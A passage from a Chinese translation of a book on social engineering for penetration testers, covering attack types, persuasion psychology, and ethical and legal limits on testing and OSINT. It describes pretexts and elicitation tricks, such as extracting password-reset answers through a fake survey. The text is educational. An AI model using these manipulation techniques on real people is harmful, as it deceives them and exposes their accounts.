社会工程实践指南-全-

社会工程实践指南(全)

原文:zh.annas-archive.org/md5/d22b377a2b7f543f42da3c2bcabc95ce

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

社会工程学是一种致命的攻击向量。它常常被用作传播恶意软件或其他有效载荷的手段,但有时它本身就是最终目的,例如在设计用来欺骗受害者交出银行信息的攻击中。社会工程学带来的美丽灾难是,除了钓鱼攻击,它真的很难被发现。无论您是刚刚进入信息安全行业的新手,经验丰富的渗透测试人员,还是处于防御一方,您都很可能会早晚遇到社会工程学攻击。

探讨“为什么”而不是“怎么做”社会工程学可以加深您的理解,帮助您建立更好的流程和检测机制,并使您能够发现流程中的关键漏洞,从而成功进行利用。攻击的“怎么做”会随着时间的推移发生变化,但“为什么”深植于数百年,甚至数千年的人体基因中。

本书的目标读者

实用社会工程学适合任何希望更好理解社会工程学及其成功攻击要素的人。如果您是:

  • 一名信息安全行业的新手

  • 经验丰富的渗透测试人员或红队成员

  • 防守方或蓝队的成员

  • 一名负责为您的组织构建检测或意识程序的高管或经理

本书的内容

本书分为三部分,旨在引导读者进行学习:

基础知识

  1. 本章讨论了构成社会工程学的众多活动以及其背后的心理学原理。我们还专门 dedicating 一章讨论社会工程学的伦理考量。与传统的渗透测试不同,后者处理数据和系统,社会工程学渗透测试则针对人类,因此需要格外小心。

进攻性社会工程学

  1. 本章讨论如何执行社会工程学攻击。我们从开放源情报(OSINT)开始,探讨其在社会工程学攻击中的作用,以及如何使用多种专业工具来收集这些信息。接下来,我们详细介绍了一种精巧的钓鱼攻击,旨在窃取用户凭证,重点讲解了用来欺骗用户和防御者的众多手段。我们还讨论了如何衡量您的攻击影响力,并将其严重性传达给客户。

防御社会工程学

  1. 本节从防守者的角度出发。我们讨论了多种技术,旨在主动保护您的团队免受社会工程学攻击,同时也讨论了在攻击成功后迅速恢复的策略。我们还探讨了技术邮件控制和用于分析潜在可疑邮件的工具。

其中某些部分可能比其他部分更相关(尤其是对您当前的角色或职业规划),但我鼓励您通读整本书,以便更好地理解来自对方在此类交互中的预期。

摘要

实用社会工程学 并不是学习社会工程学的终极资源。在你读完这本书后,它可以作为其他资料的补充或参考资料。除了恶意行为者使用的战术、技巧和程序(TTPs)之外,你还应该继续学习心理学、社会学和人机交互,以保持在社会工程学领域的最新知识。这个领域及其相关研究正在不断发展。

现在让我们进入有趣的部分!

第一章:什么是社会工程学?

社会工程学是指利用人类心理学影响目标,使其执行某个动作或提供某些信息的任何攻击。这些攻击在信息安全行业和黑客社区中扮演着重要角色,但你可能也在生活中见过类似的行为。

例如,销售和营销团队经常使用社会工程学战术。一个进行冷电话推销的销售人员可能会通过向潜在客户推荐解决方案来影响电话那头的人。孩子们经常提到“酷小孩”正在做的事情,以此来获得父母的认同,而父母可能会夸大警告某些行为的后果(想想《圣诞故事》中大人们无数次告诫拉尔菲,他会把眼睛射瞎)。

阅读本书的人中,许多人可能接到过来自“微软公司”的电话,或收到过来自“尼日利亚王子”的电子邮件。我自己也曾收到过类似的“性勒索”或“炸弹威胁”比特币钓鱼邮件。

本书将从渗透测试者的角度教你社会工程学的基础知识。这里提供的概念将帮助你从道德的角度更好地理解如何进行社会工程学,通过模仿恶意对手的战术,发现安全漏洞,然后加以修复。与真正的罪犯不同,你在进行社会工程学攻击时会获得许可,并且不会故意对目标造成伤害。

社会工程学中的重要概念

以下章节描述了社会工程学的组成部分,包括最常见的社会工程学攻击类型。作为一名渗透测试员,你可以使用这些攻击手段,但我通常会在针对员工个人资源(如他们的移动设备、社交媒体账户和家庭计算机)时划定道德界限。坏人可能不会这么讲究,但我们在第二章中会讨论,你不应该在测试中完全模仿他们。

虚假身份

根据社会工程学框架,虚假身份是指冒充他人。你可以通过穿上制服、编造背景故事或提供联系背景来进行虚假身份。我用“联系背景”一词来指代你与受害者交谈时的借口。例如,如果你自称是垃圾回收公司的一员,手持写字板,穿着公司制服,那你就是在进行虚假身份。

开源情报

开源情报(OSINT)是指从公开资源收集的关于目标的信息。开源情报的来源包括报纸、搜索引擎、美国证券交易委员会(SEC)或其他监管机构的文件、社交媒体、招聘网站、评论网站等。开源情报帮助你创造与目标接触的背景。

OSINT(开源情报)可以决定你的社交工程是否成功,因为为了成功,你通常需要了解目标公司及其员工的重要细节。比如他们使用的是什么类型的虚拟私人网络(VPN)?他们还使用了哪些其他技术?组织建筑的物理布局是怎样的?了解这些信息可以帮助整个过程更加顺利地进行。一些领先的渗透测试人员告诉我,收集 OSINT 与实际执行渗透测试的时间比例通常在 30/70 到 70/30 之间。

钓鱼攻击

可能是最常见的社交工程形式,钓鱼攻击是指发送欺诈邮件,以影响或胁迫目标提供信息、打开文件或点击链接。我将在本书后面介绍你可能使用的各种技术。

传统的钓鱼邮件通常不会发送给特定的收件人。相反,它们通常是发送给骗子和犯罪分子购买的电子邮件地址列表。这意味着你可能会将邮件发送给大量的人,而没有收集关于他们的 OSINT。例如,在没有关于目标的任何背景信息的情况下,你可能会拼凑一封通用邮件,试图让用户登录一个虚假的网站或下载一个文件。当目标打开该文件时,可能会在他们的计算机上打开一个远程命令行,或者目标可能会安装恶意软件。一旦攻击者安装了命令行或恶意软件,他们就可以与系统进行交互式通信,执行后期攻击和特权升级,继续侵入系统和网络。

有时,利用工具包(用于实施其他攻击并投放恶意软件的软件)会利用钓鱼来传播其恶意软件。根据 2018 年赛门铁克互联网安全威胁报告(ISTR),0.5%的所有 URL 流量是钓鱼,且其中 5.8%的流量是恶意的。也就是说,每 224 个 URL 中就有 1 个是恶意的!

话虽如此,像这里描述的简单钓鱼攻击在伦理黑客和渗透测试中并不常见。如果客户雇佣你进行渗透测试,可以合理假设客户可能已经具备足够的安全成熟度,能够避免受到简单钓鱼攻击的欺骗。

鱼叉式钓鱼攻击

鱼叉式钓鱼攻击是传统钓鱼攻击的一种变种,其中社交工程师专注于一个特定目标。如果你是一个使用鱼叉而不是渔网的渔夫,你可能需要了解每种鱼类的行为以及如何接近它们。类似地,作为一个社交工程师,你需要收集、综合并武器化关于目标公司或个人的开源情报(OSINT),以便正确地将其诱捕。

ISTR 声明,矛盾钓鱼(spear phishing)是针对性攻击中的主要攻击方式。报告估计,在 2018 年,71%的有组织团体,包括国家级黑客、网络犯罪分子和黑客活动分子,都利用矛盾钓鱼来帮助实现他们的目标。这个比例在 2019 年降至 65%。

如果你曾作为社会工程学渗透测试人员(或者作为某个公司的顾问,提供建议或模拟对手的角色),你可能会大部分时间都在模拟矛盾钓鱼攻击。这是公司最常面临的攻击类型,并且它们需要最少的直接互动,使其对于潜在客户来说更加实惠。

你会从对目标公司或个人的开源情报(OSINT)调查开始。这可能包括了解他们使用的服务提供商。例如,你可以制作一封伪装成他们人力资源服务提供商的钓鱼邮件,假装提供与 W-2 或保险开放注册相关的资料。你会在邮件中插入人力资源公司 logo,并使用公司特定的术语,然后将目标引导到实际公司网站的克隆站点,以试图获取他们的凭证或引诱他们下载文件。

捕鲸攻击

捕鲸攻击是针对“大鱼”进行钓鱼——通常是公司高级高层。在我进行社会工程学渗透测试的过程中,我发现这些目标比其他许多人更具信任感。他们通常比普通用户拥有更多的访问权限。例如,他们更可能是公司系统的本地管理员。你需要以不同于钓鱼或矛盾钓鱼的方式进行这些攻击,因为这些人有着不同的动机,比如帮助台或销售团队。

假设你的目标是公司 CFO。你可能会试图修改之前发送的伪造人力资源矛盾钓鱼邮件,以与目标建立更多的关系。你可以个性化邮件中的名字,添加他们的职位,或者提及目标公司在平台实施中的其他关键信息,这些信息只有他们应该知道。或者,你可能需要使用一个完全不同的情境,涉及目标所在的贸易组织或专业团体。开源情报(OSINT)可以帮助你了解该团体的内部术语。

语音钓鱼

语音钓鱼 攻击中,攻击者会拨打目标的电话并与其通话。语音钓鱼比钓鱼攻击通常更难,因为它需要即兴应变的能力。虽然钓鱼攻击给你提供了思考你想说什么的时间,但语音钓鱼要求你从一开始就准备好故事,并迅速回忆起其中的抽象细节。你还可能会遇到让人接电话的困难;误解工作空间的布局;或者犯下重大错误,比如冒充受害者旁边隔间的人,或者使用错误的性别或口音。

语音钓鱼的好处在于你能立即看到攻击的结果。当你发送电子邮件时,你必须等待信息被打开、链接被点击、数据被输入。而语音钓鱼虽然比钓鱼攻击更耗时(尤其是按每个用户计算),但如果语音钓鱼活动成功,你可以在较短的时间内造成更多的损害。

在这些操作中,你很可能会使用移动应用程序或其他软件 伪造 或伪装一个电话号码,并以某个借口拨打电话。在通话过程中,你将与目标建立融洽关系,然后试图让他们执行某个动作或提供信息。你可能会说自己是被委托进行调查,或者声称自己是客户、供应商或顾客。你会要求他们提供与预设借口相关的信息,并将其记录在报告中。

在录音时要小心。一些州是单方州,其他州则是双方州。单方州 只要求电话中的一方同意录音即可。双方州 则要求双方都同意录音。如果你正在针对客户拥有的资源进行操作,客户可以作为第二方提供录音授权。如果你与目标的个人设备进行互动,则必须得到目标本人的同意,这会破坏渗透测试的目的。在以这种方式进行任何测试之前,谨慎的测试人员或公司应咨询法律顾问,以确保所有活动是合法的。

诱饵攻击

诱饵攻击 是指使用某种诱饵让目标执行某个动作。这通常涉及使用 USB 设备或像二维码这样的创新替代品,让目标运行恶意计算机代码。为了理解二维码的有效性,可以考虑它们在 2020 年的普及,当时许多餐馆开始使用二维码来提供“无接触”菜单。

你可能会将虚假的文件加载到 USB 闪存驱动器或 Hak5 Rubber Ducky 上,然后将这些文件标记为裁员、加薪、奖金或 CEO 的个人财产。(Rubber Ducky 是一种内置计算机的设备,外形与许多 USB 驱动器相同,充当键盘,能够向系统输入数据,仿佛用户正在亲自输入。)然后,你会将这些驱动器或 Rubber Ducky 散布在目标校园周围,让人们发现。

使用 Rubber Ducky 有其优势。如果你使用 Rubber Ducky,你可以将恶意脚本与实际的合法文件一起加载到设备中。当有人将其插入电脑时,它会绕过任何数据丢失防护工具(防止文件通过 USB 存储设备、电子邮件或像 FTP 或 SCP 这样的协议被移动的软硬件解决方案),因为它伪装成 USB 键盘。如果你使用普通的 USB 设备,数据丢失防护软件可能会拦截你。如果没有,目标会打开文件并部署有效载荷(有助于实现预期结果的脚本或工具)。

你可以使用诱饵攻击来获取系统上的远程 shell,这样你就可以开始直接与主机计算机互动。但诱饵攻击很棘手,因为很难确保诱饵能到达目标位置,并且确保从工作计算机获得的任何 shell、连接或其他信息都在活动范围内。人们可能会把驱动器带回家并插入家庭计算机,而你并没有攻击家庭计算机的权限。

垃圾箱翻找

可能是最不性感的社会工程学类型就是垃圾箱翻找,即从目标办公室收集垃圾袋,然后带到外面解剖获取信息。你可能会了解到更多关于组织的信息,甚至找到你正在寻找的东西。想想你扔掉的东西。一些是非常个人化的。然而,其他的则可能与目标无关(例如,你收集的垃圾袋可能来自公司厕所)。

在这种类型的活动中,你通常会假扮成目标垃圾公司的员工,并编造一个故事来引导你进入垃圾箱。当你到达时,收集几袋垃圾,带到其他地方,并进行检查。

在进行垃圾箱翻找时,你可能需要戴手套,甚至可能需要戴上呼吸器。你还可以刺激当地经济,雇佣高中生或大学生来做这些脏活。记下你所看到的,阅读任何书面材料,并将任何撕碎的文件粘回去。这可能是最终目标,或者是通往更大目标的垫脚石。

社会工程学中的心理学概念

与信息安全领域的其他部分不同,后者借用了计算机科学、系统管理、编程和数据库管理等概念,社会工程学主要借用了心理学的许多概念。因此,社会工程师必须保持对心理学和人类行为发展的最新了解。

当我在做博士论文研究时(虽然我从未完成),我花了更多时间阅读心理学和社会学期刊,而不是技术期刊。我时不时会翻阅一本厚三英寸的文件夹,里面满是同行评审的文章,并且我还会利用校友身份访问学术期刊来查找新的信息。在这一部分,我回顾一些对社会工程师有用的基本心理学概念。

影响力

影响力是一个中性术语,用来驱使某人的行为以产生特定结果。影响力可以是积极的,也可以是消极的。例如,医生与患者谈论他们的健康状况、可能采取的纠正措施以及面临的风险,从而激励他们采取更健康的生活方式,这就是一个影响力的例子。

操控

在心理学领域之外,人们通常将操控与影响力定义为相同的概念。但在该领域内,这两个术语有着明显不同的含义。操控是影响力的一种有害实施方式,通常是为了造成伤害。在社会工程中,坏演员和出于善意的人经常会使用操控而非影响力,无论是由于缺乏训练还是目光短浅。

融洽关系

融洽关系简而言之,就是相互信任。梅里亚姆-韦伯斯特词典将融洽关系定义为“一种友好、和谐的关系”,并补充道,这种关系通常“以协议、相互理解或同理心为特征,这使得沟通变得可能或容易”。美国心理学会(APA)在此基础上进一步指出,“在心理治疗中,与客户建立融洽关系常常是治疗师为了促进和深化治疗经验并推动最佳进展和改善的一个重要中介目标。”

就像治疗师一样,社会工程师也会尝试与他们的目标建立融洽关系以赢得信任。为了建立融洽关系,他们常常依赖共同的经历(无论是真实的还是虚构的),迎合目标的兴趣,并强调自己的个性特征。你可以利用开源情报(OSINT)了解目标的喜好与厌恶。

西奥迪尼博士的六个说服原则

在他的书《影响力:说服心理学》(哈珀,1983 年)中,心理学家罗伯特·西奥迪尼详细阐述了影响力与操控之间的关系。在这篇文章中,西奥迪尼博士概述了六个核心说服原则:权威、喜好、紧迫感和稀缺性、承诺和一致性、社会证明、以及互惠。

让我们更仔细地看看这些原则及其适用性。

权威

当某个权威人物告诉别人做某事时,或者当人们被引导相信(无论是真的还是虚假的)一个权威人物也在做这件事时,他们往往会去执行某个特定的行为。我喜欢在语音钓鱼中使用权威诉求。例如,我可能会打电话说我是按照首席执行官、首席信息安全官或某个特定法律的授权在行动。

这种技巧可能非常有效。不过,请记住,你绝不应该声称自己是政府的代理人。这包括任何联邦调查局(FBI)、国际刑警组织(INTERPOL)、州警察、地方警察或警长办公室成员;美国国税局(IRS)或其他税务征收机构;中央情报局(CIA)、国家安全局(NSA)或联邦应急管理局(FEMA)等机构的成员。这样做是犯罪!

讨人喜欢

人们往往愿意帮助令人喜爱的人。你曾遇到过不试图让自己变得讨人喜欢的销售员吗?他们常常会夸奖你的衣着、外貌和智力,以赢得你的青睐。

紧迫感和稀缺性

人类天生喜欢稀缺的东西。我最近在一家本地健身房利用了一个优惠。在注册过程中,出现了一个计时器,提示我如果在一分钟内不完成交易,我将被从符合资格的名单中移除。我重复了三次这个过程。前两次,我在同一 IP 地址下一分钟内完成了交易。第三次,我浪费了大约五分钟,每次一分钟一到,计时器都会重置。

故事的道德寓意是:健身房试图利用紧迫感让我签署可能对我有利也可能无益的东西。计时器给潜在客户带来了人为的时间限制,并让他们产生如果不迅速行动就会错失机会的感觉。

在网络钓鱼中,许多骗子声称自己正在出售或赠送某些稀缺的物品。为了诱使受害人采取行动,无论是点击还是输入信息,他们会以一个太过美好的交易,提供一些昂贵的商品,并附带警告,受害人必须在短时间内行动。

在其他情况下,犯罪分子可能会通过威胁给受害人仅留几个小时的时间来付赎金,从而迫使受害人支付赎金,声称如果不快速行动,就会永久删除、窃取或释放数据——无论他们是否真的会照做。罪犯希望通过恐吓受害人,让他们在未曾思考清楚之前就采取行动。

承诺和一致性

人们重视一致性。我们通常不喜欢变化。有时,社会工程师要么保持一致性,要么打破一致性来影响目标。销售员可能会声称自己对客户的成功比对佣金更有承诺,像是说:“我一直在为我的客户着想。我理解你和你的组织。我是那种‘你看到什么,就是什么’的人。”这在依赖长期关系开展工作的销售员中很常见。

社会认同

我们常常被施压要“赶上别人”。换句话说,我们做某些事只是因为别人认为那是正常的、适当的,或者是地位的象征。社交工程师可能会让目标相信某件事具有很高的地位,或者他们可能会说所有其他高绩效的员工都在做他们试图让目标做的事。提供某件事情受欢迎的证据被称为社交证明。例如,汽车销售员可能会试图通过告诉你同龄的成功人士都在开豪华车来让你购买一辆。

在一次社交工程活动中,攻击者可能会通过花时间收集一些开放源信息(OSINT)来依赖社交证明。他们可能会找出公司中有影响力的人。然后他们会发邮件给你,声称他们与那位有影响力的人交谈过,那个人称赞你并提供了你的联系方式,帮助他们解决“问题”。我曾收到几封“招聘者”的邮件,声称是朋友给了他们我的联系方式,但不希望被透露身份。这些职位是 Java 开发的,而我的简历和 LinkedIn 上都没有提到过这种技能。这种行为让我直接拉黑他们。

互惠

我们都会尝试帮助那些帮助我们的人。通常,社交工程师会帮助别人完成某个任务,然后要求对方回报做一些可能不符合其最佳利益的事情。一个例子是在我参加位于罗德岛纽波特的 Layer 8 会议时发生的,那是一个社交工程学会议。在一个码头旁,我看到一对情侣试图拍一张有帆船背景的照片。我主动提出帮他们拍照。

“哦,你会吗?”他们问。

“当然。你知道吗?这是我的手机。你可以拿着它,这样你就知道我不会跑掉拿走你的手机。”我回答道,试图与他们建立关系。

我拍了张照片。就在那时,另一艘壮观的船直接从他们背后经过。我告诉他们稍等一下。“让我给你拍一张背景有这艘船的照片。”我说。

他们同意了。“那太棒了。”

我又拍了几张照片。一旦拍完,我把手机递给他们,让他们查看,随后他们感谢了我。

“嘿,不客气。顺便问一下,你有时间帮我做个关于人类学的调查吗?这是我夏季课程的一部分。”我问道。

“当然,是什么?”他们回答道。

因为我为他们拍了照片,他们觉得有义务回报我,尽管回答我问的问题对他们的最佳利益并没有帮助。

“我在做一个关于人们迁徙模式和不同民族群体如何与其他民族群体融合的调查。我收集了关于名字、旅行地点和模式之类的信息。我收集了大量关于家庭父系的信息。你母亲结婚前叫什么名字?”注意,我并没有说,“你母亲的娘家姓是什么?”因为这个问题会引起警觉。这是一个常见的密码重置问题,人们已经被训练成要保护这个信息。

他们俩都告诉了我,然后告诉我他们来自哪里。我告诉他们我在那里有一些朋友。这是个谎言;实际上,我只是对那个地方有些模糊的了解。我说我的朋友在他们城市的一所高中上学。他们回答说那是一个竞争对手的高中。我鼓励他们。

“吉祥物是什么?”我问道。

他们告诉了我吉祥物的名字。我本可以继续下去……

同情与同理心

建立融洽关系的一个优秀方式是,同情是关心某个人感到难过或处于某种困境中,比如在失去亲人或宠物之后。有时与同理心混淆,同理心是理解他人感受,就像你处于他们的处境一样。同理心依赖共享的情感或视角,而同情只是表达自己的感受。

这两者在某些情况下对建立融洽关系都很重要。你需要能够表达自己的感受,以及受害者的感受,才能施加影响并知道何时过度。当与受害者互动时,你可以分享一个类似的故事(无论是真实的、虚假的,还是两者的某种夸大组合),以及这件事是如何让你感受的。这可以让他们对你的处境产生同理心,并增强你们之间的融洽关系。或者,如果有人告诉你一些你无法感同身受的事情,问他们关于这件事的问题,或者告诉他们你很抱歉发生了这样的事,就是在表达同情。然而要小心:如果你对别人说的每件事都有回答或故事,他们可能会变得怀疑,所以要谨慎使用这种方法。

结论

社会工程学可以成为一个非常强大的工具,用于获取访问权限。本章向你介绍了一些技术,其中许多我们将在全书中进一步探讨。

记住,建立融洽关系是关键。一旦建立了融洽关系,后续的互动就会变得更加容易。理解心理学概念和潜在的人类行为是一种有助于与他人建立联系的方式。此外,你收集的开源情报(OSINT)越多,你就能越聪明地谈论一个组织。你可以在了解文化、运营和技术的同时,找到与员工建立融洽关系的线索,这将使得后续在渗透测试或红队活动中的工作更加轻松。这些信息将帮助你,无论是在进行钓鱼攻击、定向钓鱼、捕鲸攻击、语音钓鱼、诱饵攻击,还是垃圾桶搜寻。

第二章:社交工程中的伦理考虑

与网络和 Web 应用渗透测试不同,社交工程的影响可能超出笔记本电脑或服务器的范围。当您与真实的人互动时,必须采取特别的预防措施,以避免伤害他们。

您还必须确保遵守您所在地区的法律,以及您将要针对的任何人或企业所在地区的法律。尽管可能没有法律先例要求您以特定方式收集开源情报(OSINT)——或限制您根本不能收集 OSINT——但一些法律,如欧盟的通用数据保护条例(GDPR),对您收集的数据施加了具体的责任和后果,并规定了如何保护这些数据。本章概述了如何合法和道德地进行社交工程和收集开源情报的指南。

伦理社交工程

让我们从讨论社交工程攻击本身开始。在社交工程活动中,您必须敏感地考虑目标因您的行为而产生的感受。这可能很棘手,因为您必须找到一种方法,证明一个公司是脆弱的,通常是因为员工缺乏适当的培训或流程,而不是让揭露这些漏洞的人感到受害或被妖魔化。

保护人们的一种方式是让他们对客户保持相对匿名。例如,不要报告会计部的 Ed 点击了一个钓鱼邮件中的链接,而是说会计部或财务部的某个员工成为了钓鱼攻击的受害者。在这样做时,您应该考虑组织的规模以及同行能否通过您提供的细节猜测受害者的身份。如果您在一家小公司工作——比如本书的出版商 No Starch Press——您可能会避免说公司创始人 Bill Pollock 在 Facebook 上公开发布了过多的权限信息,而选择说某个经理在社交媒体上缺乏隐私和访问控制。

实际的坏人可能不会遵守类似的边界。然而,在渗透测试中,我们不应当复制坏人做的所有事情。如果我们这么做了,我们就会对渗透测试客户使用拒绝服务攻击(针对网络和系统的攻击,导致合法用户和服务无法访问它们);通过公开泄露客户的个人信息,如地址、电子邮件地址和电话号码,来进行人肉搜索;还可能部署勒索软件(一种恶意软件,要求受害者支付赎金才能解锁它)。

以下是一些在社交工程活动中保护他人的技巧。

确定边界

以下内容无需多言:如果有人要求你停止与他们交谈,或是他们结束了对话,你应该停止。同时,虽然你可以查看目标在社交媒体上的公开帖子并建立他们的个人档案,但你绝不应该做以下事情:

  • 针对他们的个人账户(包括与他们建立联系)

  • 在工作之外针对他们

想象一下,如果有人在你在家时不断向你询问工作问题,你会喜欢吗?收集开源情报(OSINT)时,社交媒体的可接受使用包括寻找关于工作的信息、提及特定软件或技术,或者出现常用用户名的情况。

理解法律考量

在进行社会工程学时,有两个主要的法律考量:伪造和录音。除此之外,避免法律问题的一项最佳实践是确保你针对的是客户拥有的资产,而不是员工自带设备(BYOD)系统。

一些州,例如田纳西州,有法律规定使得伪造电话号码成为非法行为。如果你是以客户公司授权的对手模拟身份进行伪造,并且只针对公司拥有的资产,那么通常是合法的。至于录音,一些州要求双方法同意,即你和受害者都必须同意,而另一些州则要求单方法同意,只需你同意即可。是否可以将公司视为员工在公司拥有设备上的第二方同意人是一个法律灰色区域。表 2-1 列出了双方同意州。如果被要求录音,请向法律顾问咨询,以明确你所在地区的具体法律要求。

表 2-1:要求双方同意才能录音的州

双方同意州 备注
加利福尼亚州
康涅狄格州 从刑事案件的角度来看,除了发送方或接收方,其他人录音是非法的;从民事案件的角度来看,康涅狄格州是双方同意州。
特拉华州
佛罗里达州
伊利诺伊州 拥有最为复杂的同意法律。它是一个双方同意州,但对像法庭这样的公共场所有特殊的豁免。该法律适用于“私人电子通信”,包括通过电话、计算机和其他通信设备发送的消息。
马里兰州
马萨诸塞州
蒙大拿州
内华达州 根据法律,内华达州是一个单方同意州,只要录音方参与了通信。然而,根据内华达州最高法院在Lane v. Allstate一案中的先例,你应该将内华达州视为双方同意州。
新罕布什尔州
俄勒冈州 录音电话时,俄勒冈州是单方同意州;但在面对面沟通的录音时,俄勒冈州是双方同意州。
宾夕法尼亚州
华盛顿州

理解服务的考虑因素

如果你违反了服务的使用条款,也可能会遇到麻烦。2019 年,Black Hills Information Security 的 Mike Felch 发布了两篇关于在钓鱼攻击中选择软件服务的博客文章。这两篇文章名为《如何清除 Google 并重新开始》第一部分和第二部分,讨论了他在使用 G Suite(现称 Google Workspace 的谷歌生产力平台)作为目标和攻击工具时的经验。Felch 解释了他是如何获取凭证并使用 CredSniper 绕过多因素认证的。

故事在此发生了有趣的转折。他被客户的安全运营中心(SOC)和谷歌的 SOC 都检测到。作为副产品,谷歌不仅采取了措施禁用他所使用的账户,还(可能通过使用一些开放源情报和自身的检测算法)开始锁定他和妻子在其他与谷歌服务无关的账户。这个故事的教训是,确保在进行攻击之前与你的客户可能使用的其他服务提供商协调,以确保你不会被锁定在所有账户之外,包括像 Mike 一样,连你的温控器也被锁定了。

参与后的总结

在进行社会工程学操作后,总结对组织和受害员工至关重要。总结包括让受害者了解你使用的技巧和收集的信息,广义上来说。你不需要告诉整个组织 Finance 部门的 Jane 用她丈夫 John 的名字作为密码,或者 Madison 与她的叔叔之间的关系问题。向客户提供的报告应该保持匿名,省略细节;你只需要告诉他们你发现一些员工使用配偶的名字作为密码,或者你轻松地发现了他们个人关系的相关信息。

解决这个伦理问题的一种方法是保持一份受害者名单,并记录他们在评估中失败的原因,同时将他们的姓名从报告中删除。如果贵公司联络人要求获取这些信息,你可以提供名字,只要公司同意不解雇这些员工。这种谈判有时会成为社会工程师与客户之间合同中的一个条款。如果公司未能对员工进行适当培训,解雇他们因安全疏忽是不公平的。另一方面,报告中应该提到那些阻止攻击成功的人。这些人采取了行动来保护组织,他们应当得到认可和奖励。

从组织角度看,管理层应让员工知道,公司本身并没有对他们进行窃听。相反,应该明确表示公司雇佣了外部人员来进行监听,然后将数据筛选出与业务相关的信息,以保护员工的个人生活隐私。此外,组织应使用你提供的报告以及推荐意见和示例情景来对员工进行培训,使他们能够更加安全。

在参加像 DerbyCon、Hacker Halted 和各种 Security BSides 等会议时,我遵循与报告相同的规则。你永远不知道是否有一个曾是攻击受害者的人在场,因此避免公开羞辱他人。公开表扬,私下批评。鼓励人们更加警惕,并向适当的人报告问题。

案例研究:社会工程学过度使用

2012 年,当凯特·米德尔顿公爵夫人怀着剑桥王子乔治时,因严重的晨吐症状住进了医院。公众和媒体很快得知了这一消息,凌晨 5:30,澳大利亚一家电台的两名 DJ 打电话到医院,假扮成英国女王和查尔斯王子。主持人模仿他们的口音,要求提供米德尔顿的最新情况。接待的护士接听了电话。她相信电话是真实的,于是将他们转接到了米德尔顿的私人护士处,后者提供了她的病情的各种细节。

这两名 DJ 录下了电话并在节目中播放。这档节目引起了国际关注。在医院采取任何行动之前,那名护士被发现死于疑似自杀。威廉王子和凯特·米德尔顿公爵夫人发布了声明,表达了对这一事件的深切悲痛,并向护士的亲友表示哀悼。

这是社会工程学过度使用的一个例子。恶作剧就是恶作剧,但在电话的某个时刻,恶作剧者应该暴露自己的身份。他们也不应该将这些恶作剧公之于众,向广泛的观众公开。广播节目似乎已经被取消,节目和主持人的 Twitter 账户也似乎被删除了。主持人发表了正式的公开道歉——但这一切来得太晚,没能避免一场本可以避免的悲剧。

尽管这一行为更像是一种无聊的恶作剧而非攻击,但这一事件符合 APA 对操控的定义,因为 DJ 们的行为并没有考虑到受害者的最佳利益。如果他们没有广播这通电话,他们的行为可能更接近于影响力,但最佳的解决方案应该是在一开始就不打这通电话。

道德的 OSINT 收集

现在我已经为社会工程学建立了法律和道德边界,我们也应该为开源情报(OSINT)做同样的事情。许多相同的考虑因素会发挥作用,但风险通常较低,因为虽然你通过 OSINT 收集到的信息可能会影响目标的福祉,但你并未直接与他们互动。尽管如此,这并不意味着你应该收集关于每个目标的所有数据。

保护数据

你应该评估保留你收集的数据的时间,如何销毁数据,如何为数据赋予价值,丢失数据的后果会导致什么,以及有人可能如何试图破坏数据。

数字取证和执法部门在处理数据时通常依赖于证据链的概念。证据链旨在保持所有收集到的证据处于安全状态,从收集时到销毁时。这个过程要求将所有证据保存在安全和受控的地点,比如你在电视上的警察节目中看到的证据保管柜。访问证据的人必须证明有正当需要,并签署取出和归还证据,以便追责。

在数字领域,执行证据链要稍微困难一些,但如果你采取某些预防措施,是可以实现的。首先是保持良好的安全卫生,我们接下来会讨论。对于每个调查,你需要一台专门的虚拟机,仅用于该任务。这台机器需要用强密码加密。一旦调查结束,确定数据保留要求。将虚拟机的文件存储在磁盘上。CD 或 DVD 可能足够大,或者你可能需要更大的驱动器,例如 USB 闪存驱动器或外部硬盘。作为额外的安全层,你可以加密驱动器本身,并安全存储它,远离任何计算机,并采取某种物理访问控制措施,比如锁和钥匙。

数字卫生不过是安全最佳实践的持续应用。在你的设备上安装某种形式的恶意软件保护,并且不要重复使用密码(并使用强密码)。你还应该在每个机会设置密码管理器和多因素认证。这只是冰山一角,但这些步骤可以帮助确保没有人能够质疑你数据的完整性,尤其是当你收集的 OSINT 用于诉讼时。

为数据分配价值时,考虑该数据可能对公司或个人造成的损害。我从不收集社会保障号码,但如果收集的话,我会赋予它们非常高的价值。如果我收集一个姓名或电子邮件以及密码,我会赋予它们最高的级别。找到这些信息表明某个组织或员工可能已经遭遇数据泄露,因此需要谨慎处理。话虽如此,如果该组织能够证明某个用户在技术上被禁止使用该密码,那么你可以将该问题的严重性降级为低级或仅为信息性提示。仅有密码而没有与之关联的用户,则价值较低,尽管你可以用它对公司进行密码喷洒攻击。(在密码喷洒攻击中,攻击者使用一个单一密码试图暴力破解多个账户,例如使用一个默认密码尝试所有观察到的账户。)

总结来说,通过最小化对存储敏感数据的系统的访问,保持系统的修补和更新,禁用不必要的服务,使用强密码,并在可能时启用多因素认证来保护你的敏感数据。同时,尽可能对数据进行加密。如果数据被他人获取并且他们无法破解加密密钥,那么这些数据对他们来说将毫无价值。

遵循法律和法规

本节介绍了收集开源情报(OSINT)时可能涉及的法律问题。虽然《通用数据保护条例》(GDPR)是影响开源情报的主要法律,但其他国家、州和地区也出台了类似的法律,针对数据泄露后个人信息的丧失进行规制。收集开源情报本身并不构成数据泄露,但由于尚未有法律先例明确 GDPR 和类似法律在应用于开源情报时的结果,因此你应该将这些法律视为与你的活动相关的。

通用数据保护条例

自 2018 年 5 月 25 日起,GDPR 对欧盟公民的数据使用进行了监管。该法规旨在保护欧盟公民和居民在其数据收集和使用方面的权益。本质上,它赋予了欧盟公民和居民作为消费者的主权,让他们能够控制从他们那里收集的以及关于他们的数据。GDPR 在 2016 年通过后,企业有两年的时间进行合规调整。2018 年 5 月 25 日是全球所有公司必须遵守 GDPR 的最后期限。违反 GDPR 的公司可能面临其全球年收入的 4%的罚款。这应该成为保护任何关于欧盟公民(无论在欧盟境内还是境外)和访欧人员信息的动力。

GDPR(通用数据保护条例)对社会工程学和 OSINT 的主要影响在于,它赋予人们限制他人收集其个人信息(PI)和敏感个人信息(SPI)的能力,从而减少了他们的 OSINT 攻击面。此外,GDPR 对收集和存储属于欧盟公民的 PI 和 SPI 的公司设立了处罚措施,如果数据遭到泄露并公开可访问。

GDPR 的另一项重要条款是“被遗忘权”。这一条款允许私人公民查询数据所有者或数据处理者持有的关于他们的个人信息,并要求及时删除其个人信息(PI)或敏感个人信息(SPI)。

作为执法人员收集数据

